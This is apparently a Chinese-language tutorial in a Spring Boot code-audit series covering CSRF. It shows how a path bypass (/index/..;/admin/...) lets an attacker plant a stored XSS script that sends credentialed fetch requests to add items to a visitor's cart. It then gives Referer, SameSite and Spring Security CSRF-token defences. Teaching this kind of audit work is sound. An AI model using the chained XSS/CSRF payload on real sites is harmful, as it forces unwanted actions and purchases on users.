Java SpringBoot框架代码审计六 - CSRF

CSRF真正和代码相关的内容不太多,主要还是看过滤器和拦截器。代码审计中的思路是检查是否校验Referer、是否给cookie设置SameSite属性和敏感操作是否会生成CSRF token,如果都不存在再查看请求参数中是否存在不可被攻击者猜测的字段,比如验证码等参数。

CSRF代码审计过程

案例项目中不存在Referer校验和CSRF token,所以网站肯定存在多处CSRF。除了修改密码处需要的原密码攻击者无法知晓外,其他功能点均存在CSRF。

我们以添加购物车功能为例,请求内容为下,没有任何token值

add-to-shop-cart

由于是json格式的请求,不能直接使用burp Generate CSRF PoC,因为burp生成的PoC无法伪造Content-Type。burp生成的CSRF PoC请求内容如下,可以看到Content-Type: text/plain,并且post数据多出一个等号。

csrf-request-add-shop-cart

使用fetch跨域请求会先发送一个options请求,fetch设置no-cors模式又无法更改Content-Type。还有一种利用方法是使用flash+307跳转,这种方法只适用于老旧浏览器。

不过我们可以利用之前审计出来的漏洞组合起来利用。

首先我们通过未授权访问商品 http://localhost:8089/index/..;/admin/goods/edit/10896

edit-goods

将商品详细信息改为,该<script>会发送添加商品10986到购物车的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script type="text/javascript" charset="utf-8">
const authUrl = `http://localhost:8089/shop-cart`;
fetch(
authUrl,
{
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
},
body: '{"goodsId":10896,"goodsCount":1}',
}
).catch(err => {
throw err;
}).then(() => {
});
</script>

因为富文本编辑器会将我们输入的内容编码,在保存过程中抓包,修改goodsDetailContent参数为XSS payload

1
<script type=\"text/javascript\" charset=\"utf-8\">const authUrl=`http://localhost:8089/shop-cart`;fetch(authUrl,{method:'POST',credentials:'include',headers:{'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'},body:'{\"goodsId\":10896,\"goodsCount\":1}'}).catch(err=>{throw err;}).then(()=>{});</script>

update-xss-in-goods

每当用户访问10896这个商品时都会触发XSS,然后XSS执行CSRF请求,将该商品添加到购物车中

xss-combine-csrf

查看购物车,发现该商品在未经人工操作的情况下被进入购物车。我们甚至还可以再添加结算和下订单操作,直接等待用户付款。

auto-add-goods-in-shop-cart

CSRF修复

校验Referer

Spring中可以使用interceptor来校验Referer,以下代码为例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
@Component
public class RefererInterceptor extends HandlerInterceptorAdapter {
private AntPathMatcher matcher = new AntPathMatcher();
@Autowired
private RefererProperties properties;
@Override
public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) throws Exception {
String referer = req.getHeader("referer");
String host = req.getServerName();
if ("POST".equals(req.getMethod())) { // 只验证POST请求
if (referer == null) { //若referer为空
resp.setStatus(HttpServletResponse.SC_FORBIDDEN); //返回403
return false;
}
java.net.URL url = null;
try {
url = new java.net.URL(referer);
} catch (MalformedURLException e) {
resp.setStatus(HttpServletResponse.SC_FORBIDDEN); // URL解析异常,也置为403
return false;
}
if (!host.equals(url.getHost())) { // 首先判断请求域名和referer域名是否相同
if (properties.getRefererDomain() != null) { // 如果不等,判断是否在白名单中
for (String s : properties.getRefererDomain()) {
if (s.equals(url.getHost())) {
return true;
}
}
}
return false;
}
}
return true;
}
}

给cookie设置SameSite属性

关于SameSite属性可参考 https://mp.weixin.qq.com/s/YqSxIvbgq1DkAlUL5rBtqA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@Component
public class CookieServiceInterceptor extends HandlerInterceptorAdapter {

@Override
public boolean preHandle(
HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
return true;
}

@Override
public void postHandle(
HttpServletRequest request, HttpServletResponse response, Object handler,
ModelAndView modelAndView) throws Exception {
//检查返回中是否存在"set-cookie",若存在,则给其加上"SameSite"属性
Collection<String> headers = response.getHeaders(HttpHeaders.SET_COOKIE);
boolean firstHeader = true;
for (String header : headers) { // 可能存在多个"Set-Cookie"属性,故采用for循环
if (firstHeader) {
response.setHeader(HttpHeaders.SET_COOKIE, String.format("%s; %s", header, "SameSite=strict")); //可根据业务设置strict或者lax
firstHeader = false;
continue;
}
response.addHeader(HttpHeaders.SET_COOKIE, String.format("%s; %s", header, "SameSite=strict"));
}
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response,
Object handler, Exception exception) throws Exception {}
}

设置CSRF token

CSRF token生成可以借助Spring Security框架,默认提供CSRF防护。Spring Security的CSRF防护是基于Filter来实现的,Spring Security提供多种保存token的策略,既可以保存在cookie中,也可以保存在session中,保存方法可以手动指定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
request.setAttribute(HttpServletResponse.class.getName(), response);
// 通过tokenRepository从request中获取csrf token
CsrfToken csrfToken = this.tokenRepository.loadToken(request);
final boolean missingToken = csrfToken == null;
// 如果未获取到token则新生成token并保存
if (missingToken) {
csrfToken = this.tokenRepository.generateToken(request);
this.tokenRepository.saveToken(csrfToken, request, response);
}
request.setAttribute(CsrfToken.class.getName(), csrfToken);
request.setAttribute(csrfToken.getParameterName(), csrfToken);
// 判断是否需要进行csrf token校验
if (!this.requireCsrfProtectionMatcher.matches(request)) {
filterChain.doFilter(request, response);
return;
}
// 获取前端传过来的实际token
String actualToken = request.getHeader(csrfToken.getHeaderName());
if (actualToken == null) {
actualToken = request.getParameter(csrfToken.getParameterName());
}
// 校验两个token是否相等
if (!csrfToken.getToken().equals(actualToken)) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Invalid CSRF token found for "
+ UrlUtils.buildFullRequestUrl(request));
}
// 如果是token缺失导致,则抛出MissingCsrfTokenException异常
if (missingToken) {
this.accessDeniedHandler.handle(request, response,
new MissingCsrfTokenException(actualToken));
}
// 如果不是同一个token则抛出InvalidCsrfTokenException异常
else {
this.accessDeniedHandler.handle(request, response,
new InvalidCsrfTokenException(csrfToken, actualToken));
}
return;
}
// 执行下一个过滤器
filterChain.doFilter(request, response);
}

注意,不管是校验Referer还是设置SameSite,都不能防止同站发起的CSRF,比如本文所举的例子就没法防范。XSS也可能从页面中获取CSRF token再进行攻击,这些防范方法都是提高攻击者的攻击难度,而不是完全消灭CSRF。真正重要的功能一定需要短信验证码或者密码之类的仅当前用户知道的参数才能进行操作,比如支付转账等。

参考资料

https://docs.spring.io/spring-security/site/docs/current/reference/html5/#csrf-protection

https://blog.csdn.net/junmoxi/article/details/89208311

https://www.cnblogs.com/volcano-liu/p/11301057.html

https://stackoverflow.com/questions/42998367/same-site-cookie-in-spring-security/43250133#43250133